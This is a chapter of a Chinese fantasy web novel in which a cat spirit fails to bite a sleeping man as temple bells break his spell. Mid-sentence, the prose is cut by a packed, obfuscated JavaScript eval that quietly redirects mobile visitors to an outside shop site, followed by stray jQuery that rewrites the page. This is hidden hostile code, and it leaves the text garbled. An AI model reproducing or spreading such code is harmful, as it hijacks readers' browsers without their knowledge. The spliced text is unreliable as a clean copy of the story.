萧酥酪被自己脑子里的念头吓了一跳。
他把齿尖在李朔风的脖颈上蹭了蹭,却怎么也咬不下去,犹豫了好一会儿,还是收起了见齿,扶着李朔风的肩坐直了身体。
他伸手摸了摸李朔风的脖颈,像是反复确认自己该从什么地方咬下去,一面用力摇头,试图将自己脑子里的那个怪念头甩出去。
他可不止是为了报仇,他这还是为了铲屎帝的性命,铲屎帝的天下。
没错,这个人就是非死不可,小猫咪现在就得要了他的性命!
萧酥酪磨磨蹭蹭张开嘴,再度用牙齿抵着了那个地方。
可这一回他还来不及发力,不知从何处传来一声撞钟声响,惊得萧酥酪浑身一颤,连尾尖都炸开了毛。
他向来最惧怕这类声响,也不知是哪个该死的道观寺庙,竟然在大晚上敲钟,几声钟声震得他头昏目眩,不由松开了咬着李朔风脖颈的齿尖,有些急促地喘息了几声。
妖类大多害怕这种声音,更不用说萧酥酪妖力薄弱,格外受不得钟声,更糟糕的是……他再一抬眸,竟眼睁睁看着李朔风又一次睁开了眼睛,与他对上了目光。
不、不对吧?!
这个臭人类……他怎么又醒了啊!!!
狐妖前辈!您这昏迷法咒……它真的管用吗?!
-
李朔风目光沉沉看着萧酥酪,萧酥酪也傻愣愣地盯着李朔风发怔。
迎着李朔风的目光,萧酥酪脑中一片空白。
他怎么也没想到自己的暗杀行动竟能又一次被抓现行,他完全不知道自己现在应该怎么办,他只能努力将自己带入狼妖前辈的角度,飞快努力思考当下这个几乎致命的问题。
如果换了狼妖前辈来,这时候狼妖前辈一定会快准狠动手,趁着这人刚刚苏醒,还受着术法影响,几乎不能动弹时,给他致命一击,夺走这人的性命。
可萧酥酪……他做不到那么无情。
作为一名从来就不合格的小猫猎手,在尚还未成妖时,萧酥酪捕猎准则中最重要的一条,就是绝不能去看猎物的眼睛。
他总是心软,只要和自己的猎物对上视线,他就再也下不了爪了。
他还是小猫时,就常常因为自己的这个毛病挨饿,只能捡点其他兽类捕猎剩下的残骸,饿上数日也吃不了一顿饱饭。
后来萧酥酪修炼成妖,挨饿能力见长,就算十多日不吃东西,也只是饿得体虚发软,至少是能活下来的。
成妖后他也不用再同小猫一般,只靠吃肉存活,饿急了他还能吃些山中的蔬果勉强度日,狐妖前辈说,这是他虽为兽类却有灵性的表现,可萧酥酪却觉得,这灵性他不要也罢。
这灵性让他饿了许多年肚子,还让他在执行复仇计划时心慈手软……如今萧酥酪抬着眼睫,与李朔风对上目光,看着李朔风沉如深潭的眼睛,他就怎么也下不去嘴了。
他看不懂这双眼睛里的感情,人类的情感太过复杂,其中不知有多少情绪在涌动。
光是注视着对方的眼睛,萧酥酪都觉得很是心虚。
以往萧酥酪在宫中时,偶尔与铲屎帝玩闹上了头,也会太过忘乎所以,忍不住啃一啃铲屎帝的手指。
他虽啃得不太用力,但铲屎帝依旧会吃痛喝止他,这时候萧酥酪便会心虚地舔舔铲屎帝的手指,再心虚地舔舔自己的毛,当做什么事情都没发生过。
他现今正是心虚的时候,于是身体比脑子先一步有了行动。
萧酥酪一点一点转开目光,收起自己的尖齿,伸出一截舌头,讨好般轻轻舔了舔那个被他咬出了齿痕的部位。
这位置在李朔风的脖颈之侧上,李朔风因此而微微睁大了眼睛,近乎不可思议般看着他。
这让萧酥酪更觉得心虚了,他动作艰难地在李朔风腿上挪着后退,一面抬起手,想舔舔自己的爪子。
他现在已是人形,他根本舔不到自己的爪
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17756515|208996||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
毛,萧酥酪只能放下爪子,深深吸上口气,终于让自己冷静了一些,开始执行自己的第二步计划。
萧酥酪飞快抬起了手,双手交叠捂住了李朔风的眼睛。
事到如今,猫猫也只能豁出去了!
臭人类看起来还没完全清醒,这么久了都一动不动,那他就该趁着这机会,再对臭人类用几遍昏迷咒,先将人彻底迷晕了再说!
他拼命凝聚妖力,还未来得及念出昏迷法咒,那该死的撞钟声却又一次响了起来。
马车行进的速度很快,这撞钟声却丝毫没有远离变小一些,以至萧酥酪的脑子被这钟声震得嗡嗡作响,妖力不受控地外泄,耳朵与尾巴都在一瞬间砰地冒了出来。
他连瞳孔已经恢复了猫形时的模样,显出了一种澄澈的琥珀色。
马车内光线昏暗,萧酥酪的瞳孔浑圆,放得很大,几乎遮挡住了大半琥珀色的眸子,他极为不适地蹙着眉,呼吸急促,额间隐隐布了一层细密的汗丝,几乎连人形都要维持不住时,钟声的嗡鸣才逐渐散去。
萧酥酪还坚持用手捂着李朔风的眼睛,可他整只咪都在颤抖,已没有力气再去念什么昏迷法咒了。
也正在此刻,一只手忽而卡住了萧酥酪的手腕,以一种不容抗拒的力道,强迫萧酥酪将捂着他眼睛的手移开。
萧酥酪惊愕垂下眼睫,看向了卡着自己腕骨的那只手。
这只手比他的手要大上一圈,肤色也明显较他要深,手背上隐隐透出青色的筋络,还可见一道几乎已要淡得看不见的伤痕,只是一只手而已,便轻而易举就将他的手腕桎梏在其中。
这是李朔风的手。
第二声撞钟响后,李朔风显然比刚才更清醒了。
他已经恢复了行动能力,那他接下来还会做什么呢?
完蛋了。
萧酥酪惊惶不安地想。
他的猫妖身份……
不会在今天就要暴露了吧?!